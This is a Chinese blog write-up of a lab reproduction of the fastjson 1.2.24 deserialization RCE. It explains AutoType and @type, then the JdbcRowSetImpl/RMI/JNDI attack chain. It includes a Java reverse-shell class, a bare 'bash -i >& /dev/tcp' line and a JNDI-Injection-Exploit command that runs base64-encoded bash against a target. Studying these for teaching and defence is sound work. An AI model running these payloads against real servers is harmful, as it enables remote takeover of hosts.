fastjson1.2.24-RCE漏洞复现

fastjson 是一个 有阿里开发的一个开源Java 类库，可以将 Java 对象转换为 JSON 格式(序列化)，当然它也可以将 JSON 字符串转换为 Java 对象（反序列化）。Fastjson 可以操作任何 Java 对象，即使是一些预先存在的没有源码的对象（这就是漏洞来源，下文会解释）。使用比较广泛。

 

fastjson序列化/反序列化原理

fastjson的漏洞本质还是一个java的反序列化漏洞，由于引进了AutoType功能，fastjson在对json字符串反序列化的时候，会读取到@type的内容，将json内容反序列化为java对象并调用这个类的setter方法。

那么为啥要引进Auto Type功能呢？

fastjson在序列化以及反序列化的过程中并没有使用Java自带的序列化机制，而是自定义了一套机制。其实，对于JSON框架来说，想要把一个Java对象转换成字符串，可以有两种选择：

1.基于setter/getter

2.基于属性（AutoType）

基于setter/getter会带来什么问题呢，下面举个例子，假设有如下两个类：

class Apple implements Fruit {
    private Big_Decimal price;
    //省略 setter/getter、toString等
}
 
class iphone implements Fruit {
    private Big_Decimal price;
    //省略 setter/getter、toString等
}

实例化对象之后，假设苹果对象的price为0.5，Apple类对象序列化为json格式后为：

{"Fruit":{"price":0.5}}

假设iphone对象的price为5000,序列化为json格式后为：

{"Fruit":{"price":5000}}

当一个类只有一个接口的时候，将这个类的对象序列化的时候，就会将子类抹去（apple/iphone）只保留接口的类型(Fruit)，最后导致反序列化时无法得到原始类型。本例中，将两个json再反序列化生成java对象的时候，无法区分原始类是apple还是iphone。

为了解决上述问题： fastjson引入了基于属性（AutoType），即在序列化的时候，先把原始类型记录下来。使用@type的键记录原始类型，在本例中，引入AutoType后，Apple类对象序列化为json格式后为：

{ "fruit":{ "@type":"com.hollis.lab.fastjson.test.Apple", "price":0.5 } }

引入AutoType后，iphone类对象序列化为json格式后为：

{ "fruit":{ "@type":"com.hollis.lab.fastjson.test.iphone", "price":5000 } }

这样在反序列化的时候就可以区分原始的类了。

 

使用AutoType功能进行序列号的JSON字符会带有一个@type来标记其字符的原始类型，在反序列化的时候会读取这个@type，来试图把JSON内容反序列化到对象，并且会调用这个库的setter或者getter方法，然而，@type的类有可能被恶意构造，只需要合理构造一个JSON，使用@type指定一个想要的攻击类库就可以实现攻击。

常见的有sun官方提供的一个类com.sun.rowset.JdbcRowSetImpl，其中有个dataSourceName方法支持传入一个rmi的源，只要解析其中的url就会支持远程调用！因此整个漏洞复现的原理过程就是：

1、攻击者（我们）访问存在fastjson漏洞的目标靶机网站，通过burpsuite抓包改包，以json格式添加com.sun.rowset.JdbcRowSetImpl恶意类信息发送给目标机。
2、存在漏洞的靶机对json反序列化时候，会加载执行我们构造的恶意信息(访问rmi服务器)，靶机服务器就会向rmi服务器请求待执行的命令。也就是靶机服务器问rmi服务器，（靶机服务器）需要执行什么命令啊？
3、rmi 服务器请求加载远程机器的class（这个远程机器是我们搭建好的恶意站点，提前将漏洞利用的代码编译得到.class文件，并上传至恶意站点），得到攻击者（我们）构造好的命令（ping dnslog或者创建文件或者反弹shell啥的）
4、rmi将远程加载得到的class（恶意代码），作为响应返回给靶机服务器。
靶机服务器执行了恶意代码，被攻击者成功利用。

复现开始

这次选择的是1.2.24-rce：

docker-compose启动一下：

开的8090端口：

服务正常启动。

 

创建文件的就不复现了，因为我本机开的出网，直接打反弹shell：

// javac ReverseShell.java
import java.lang.Runtime;
import java.lang.Process;
 
public class ReverseShell {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/vps/port 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

此处起一个端口4444的http服务：

我用mbechler/marshalsec (github.com)起一个rmi开打：

下载下来后记得mvn clean package -DskipTests

当然，也可以vps上开这个rmi服务。

无论你哪里起服务，一定要保证java和javac的版本是1.8，版本要求非常严苛，不然出不了的。

所以这个工具我打的时候有点头疼，不想配环境了，就换了一个打JNDI的工具JNDI-Injection-Exploit。

老规矩，DNS测测能不能出网：

直接打：

bash -i >& /dev/tcp/vps/port 0>&1

//payload
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,<base64后的命令>}|{base64,-d}|{bash,-i}" -A 攻击机ip

其实攻击过程弄明白了也挺简单的，主要还是漏洞本身出现的原因很值得深究，知其然得知其所以然。

 

参考：

Fastjson反序列化漏洞原理与漏洞复现（基于vulhub，保姆级的详细教程）_fastjson漏洞原理-CSDN博客